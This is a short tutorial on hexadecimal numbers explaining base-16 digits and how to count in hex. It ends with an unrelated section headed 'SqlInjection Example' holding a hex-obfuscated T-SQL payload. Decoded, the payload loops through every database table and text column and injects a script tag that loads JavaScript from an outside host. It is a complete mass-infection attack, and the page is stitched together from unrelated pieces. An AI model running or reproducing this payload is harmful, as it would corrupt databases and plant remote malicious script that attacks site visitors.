1.2 Hexadecimal Numbers
In
the previous section we looked at the decimal (base 10) and binary (base 2) number systems. In this section we look at the
hexadecimal (base 16) number system.
Both
binary and hexadecimal numbers are used in
computing.
The
decimal (base 10) number system uses 10
digits: 0, 1, 2, 3, ..., 9
The
binary (base 2) number system uses 2 digits:
0, 1
The
hexadecimal (base 16) number system uses 16
digits: 0, 1, 2, 3, ..., 9, A, B, C, D, E
and F.
The
first 10 whole numbers in the hexadecimal system
are:
0,
1,
2,
3, 4,
5,
6,
7,
8, 9.
Once
we reach 9, we run out of ordinary digits, since
there are only ten digits available.
Hexadecimal
uses the following convention:
The
number 1010 = A16
, 1110 = B16
, 1210 = C16,
1310 = D16
, 1410 = E16
, 1510 = F16.
So
the first sixteen whole numbers in the hexadecimal
number system are:
0,
1, 2, 3, 4, 5, 6, 7, 8, 9, A, B, C, D, E and F.
After
we reach the number F there are no more digits
left to use for the units digit. The next
number is 10.
Continuing
to count we have:
10,
11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C,
1D, 1E, 1F, 20, ...., 2F, 30, ..., 3F
SqlInjection Example
CAST(0x4445434C415245204054207661726368617228323535
292C40432076617263686172283430303029204445434C41524520
5461626C655F437572736F7220435552534F5220464F522073656C
65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E732062207768657265
20612E69643D622E696420616E6420612E78747970653D27752720
616E642028622E78747970653D3939206F7220622E78747970653D
3335206F7220622E78747970653D323331206F7220622E78747970
653D31363729204F50454E205461626C655F437572736F72204645
544348204E4558542046524F4D20205461626C655F437572736F72
20494E544F2040542C4043205748494C4528404046455443485F53
54415455533D302920424547494E20657865632827757064617465
205B272B40542B275D20736574205B272B40432B275D3D2727223E
3C2F7469746C653E3C736372697074207372633D22687474703A2F
2F777777322E73383030716E2E636E2F63737273732F772E6A7322
3E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077
6865726520272B40432B27206E6F74206C696B6520272725223E3C
2F7469746C653E3C736372697074207372633D22687474703A2F2F
777777322E73383030716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D272727294645544348204E455854
2046524F4D20205461626C655F437572736F7220494E544F204054
2C404320454E4420434C4F5345205461626C655F437572736F7220
4445414C4C4F43415445205461626C655F437572736F72)